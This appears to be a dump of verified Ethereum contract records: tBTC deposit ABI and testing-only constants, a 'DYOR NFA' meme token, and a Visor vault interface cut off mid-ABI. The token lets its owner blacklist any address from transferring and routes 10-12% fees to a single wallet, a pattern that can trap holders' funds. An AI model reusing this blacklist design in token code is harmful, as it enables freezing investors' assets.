} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"auctionValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"collateralizationPercentage","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"currentState","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"exitCourtesyCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"fundingInfo","outputs":[{"internalType":"bytes8","name":"utxoValueBytes","type":"bytes8"},{"internalType":"uint256","name":"fundedAt","type":"uint256"},{"internalType":"bytes","name":"utxoOutpoint","type":"bytes"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getOwnerRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_redeemer","type":"address"}],"name":"getRedemptionTbtcRequirement","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"inActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_previousOutputValueBytes","type":"bytes8"},{"internalType":"bytes8","name":"_newOutputValueBytes","type":"bytes8"}],"name":"increaseRedemptionFee","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"initialCollateralizedPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_factory","type":"address"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"contract 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n","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"retrieveSignerPubkey","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"severelyUndercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"signerFeeTbtc","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes8","name":"_outputValueBytes","type":"bytes8"},{"internalType":"bytes","name":"_redeemerOutputScript","type":"bytes"},{"internalType":"address payable","name":"_finalRecipient","type":"address"}],"name":"transferAndRequestRedemption","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"undercollateralizedThresholdPercent","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"utxoValue","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"withdrawableAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | MIT | false | bzzr://ec55669da878d6a87041b177cab080114051affcfb740deffc7517dc1385feab |
|||
Deposit | solidity/contracts/system/TBTCDevelopmentConstants.sol | 0x8b36047ed94d4b2d97609fe8d3ba5e543065d0be | Solidity | pragma solidity 0.5.17;
/// @title TBTCDevelopmentConstants
/// @notice Constants for development testnet usages; tuned for testing and
/// faster iteration rather than security. These should NOT be deployed
/// on mainnet or mainnet-like ("staging") environments.
library TBTCDevelopmentConstants {
// This is intended to make it easy to update system params
// During testing swap this out with another constats contract
// System Parameters
uint256 public constant BENEFICIARY_FEE_DIVISOR = 1000; // 1/1000 = 10 bps = 0.1% = 0.001
uint256 public constant SATOSHI_MULTIPLIER = 10 ** 10; // multiplier to convert satoshi to TBTC token units
uint256 public constant DEPOSIT_TERM_LENGTH = 180 * 24 * 60 * 60; // 180 days in seconds
uint256 public constant TX_PROOF_DIFFICULTY_FACTOR = 1; // confirmations on the Bitcoin chain
// Redemption Flow
uint256 public constant REDEMPTION_SIGNATURE_TIMEOUT = 2 * 60 * 60; // seconds
uint256 public constant INCREASE_FEE_TIMER = 4 * 60 * 60; // seconds
uint256 public constant REDEMPTION_PROOF_TIMEOUT = 6 * 60 * 60; // seconds
uint256 public constant MINIMUM_REDEMPTION_FEE = 150; // satoshi
// Funding Flow
uint256 public constant FUNDING_PROOF_TIMEOUT = 3 * 60 * 60; // seconds
uint256 public constant FORMATION_TIMEOUT = 3 * 60 * 60; // seconds
// Liquidation Flow
uint256 public constant COURTESY_CALL_DURATION = 6 * 60 * 60; // seconds
uint256 public constant AUCTION_DURATION = 24 * 60 * 60; // seconds
// Getters for easy access
function getBeneficiaryRewardDivisor() external pure returns (uint256) { return BENEFICIARY_FEE_DIVISOR; }
function getSatoshiMultiplier() external pure returns (uint256) { return SATOSHI_MULTIPLIER; }
function getDepositTerm() external pure returns (uint256) { return DEPOSIT_TERM_LENGTH; }
function getTxProofDifficultyFactor() external pure returns (uint256) { return TX_PROOF_DIFFICULTY_FACTOR; }
function getSignatureTimeout() external pure returns (uint256) { return REDEMPTION_SIGNATURE_TIMEOUT; }
function getIncreaseFeeTimer() external pure returns (uint256) { return INCREASE_FEE_TIMER; }
function getRedemptionProofTimeout() external pure returns (uint256) { return REDEMPTION_PROOF_TIMEOUT; }
function getMinimumRedemptionFee() external pure returns (uint256) { return MINIMUM_REDEMPTION_FEE; }
function getFundingTimeout() external pure returns (uint256) { return FUNDING_PROOF_TIMEOUT; }
function getSigningGroupFormationTimeout() external pure returns (uint256) { return FORMATION_TIMEOUT; }
function getCourtesyCallTimeout() external pure returns (uint256) { return COURTESY_CALL_DURATION; }
function getAuctionDuration() external pure returns (uint256) { return AUCTION_DURATION; }
} | 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|||
DYORNFA | DYORNFA.sol | 0xd6f0d3f244d481e0603d9287768dbebeac585b0f | Solidity | /*
DYOR NFA
Do your own research - Not financial advice
t.me/DYORNFAEth
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DYORNFA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "DYOR NFA";
string private constant _symbol = "DYORNFA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x2f79d7195EC1ad8A75136d448d972a772AEd25Cf);
_feeAddrWallet2 = payable(0x2f79d7195EC1ad8A75136d448d972a772AEd25Cf);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 3;
_feeAddr2 = 7;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 1;
_feeAddr2 = 11;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeStrictTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.8.4+commit.c7e474f2 | false | 200 | Default | None | false | ipfs://3dba13eacca0245ea93fc372ce77f0031b6fb98e4e228061c1a4e933b0733326 |
|||
Visor | contracts/interfaces/IUniversalVault.sol | 0x4ac8c333fb606991dbec9120fbc492305fb06006 | Solidity | // SPDX-License-Identifier: GPL-3.0-only
pragma solidity 0.7.6;
pragma abicoder v2;
interface IUniversalVault {
/* user events */
event Locked(address delegate, address token, uint256 amount);
event Unlocked(address delegate, address token, uint256 amount);
event RageQuit(address delegate, address token, bool notified, string reason);
/* data types */
struct LockData {
address delegate;
address token;
uint256 balance;
}
/* initialize function */
function initialize() external;
/* user functions */
function lock(
address token,
uint256 amount,
bytes calldata permission
) external;
function unlock(
address token,
uint256 amount,
bytes calldata permission
) external;
function rageQuit(address delegate, address token)
external
returns (bool notified, string memory error);
function transferERC20(
address token,
address to,
uint256 amount
) external;
function transferETH(address to, uint256 amount) external payable;
/* pure functions */
function calculateLockID(address delegate, address token)
external
pure
returns (bytes32 lockID);
/* getter functions */
function getPermissionHash(
bytes32 eip712TypeHash,
address delegate,
address token,
uint256 amount,
uint256 nonce
) external view returns (bytes32 permissionHash);
function getNonce() external view returns (uint256 nonce);
function owner() external view returns (address ownerAddress);
function getLockSetCount() external view returns (uint256 count);
function getLockAt(uint256 index) external view returns (LockData memory lockData);
function getBalanceDelegated(address token, address delegate)
external
view
returns (uint256 balance);
function getBalanceLocked(address token) external view returns (uint256 balance);
function checkBalances() external view returns (bool validity);
} | [{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"nftContract","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"AddNftToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Locked","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"bool","name":"notified","type":"bool"},{"indexed":false,"internalType":"string","name":"reason","type":"string"}],"name":"RageQuit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"nftContract","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"RemoveNftToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"expires","type":"uint256"}],"name":"TimeLockERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"address","name":"nftContract","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"expires","type":"uint256"}],"name":"TimeLockERC721","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"expires","type":"uint256"}],"name":"TimeUnlockERC20","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"address","name":"nftContract","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenId","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"expires","type":"uint256"}],"name":"TimeUnlockERC721","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"delegate","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Unlocked","type":"event"},{"inputs":[],"name":"LOCK_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"RAGEQUIT_GAS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"UNLOCK_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"VERSION","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"delegate","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveTransferERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"approveTransferERC721","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"token","type":"address"}],"name":"calculateLockID","outputs":[{"internalType":"bytes32","name":"lockID","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"calculateNftID","outputs":[{"internalType":"bytes32","name":"nftId","type":"bytes32"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"checkBalances","outputs":[{"internalType":"bool","name":"validity","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"delegatedTransferERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"erc20Approvals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"delegate","type":"address"}],"name":"getBalanceDelegated","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getBalanceLocked","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getLockAt","outputs":[{"components":[{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"}],"internalType":"struct IUniversalVault.LockData","name":"lockData","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLockSetCount","outputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getNFTByIndex","outputs":[{"components":[{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"address","name":"nftContract","type":"address"}],"internalType":"struct Visor.Nft","name":"nftData","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getNonce","outputs":[{"internalType":"uint256","name":"nonce","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"eip712TypeHash","type":"bytes32"},{"internalType":"address","name":"delegate","type":"address"},{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"nonce","type":"uint256"}],"name":"getPermissionHash","outputs":[{"internalType":"bytes32","name":"permissionHash","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getTimeLockCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"nftContract","type":"address"}],"name":"getTimeLockERC721Count","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getTimelockERC20Key","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"nftContract","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"getTimelockERC721Key","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initializeLock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"permissionHash","type":"bytes32"},{"internalType":"bytes","name":"signature","type":"bytes"}],"name":"isValidSignature","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"permission","type":"bytes"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"nft","outputs":[{"internalType":"address","name":"nftAddress","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"name":"nftApprovals","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"",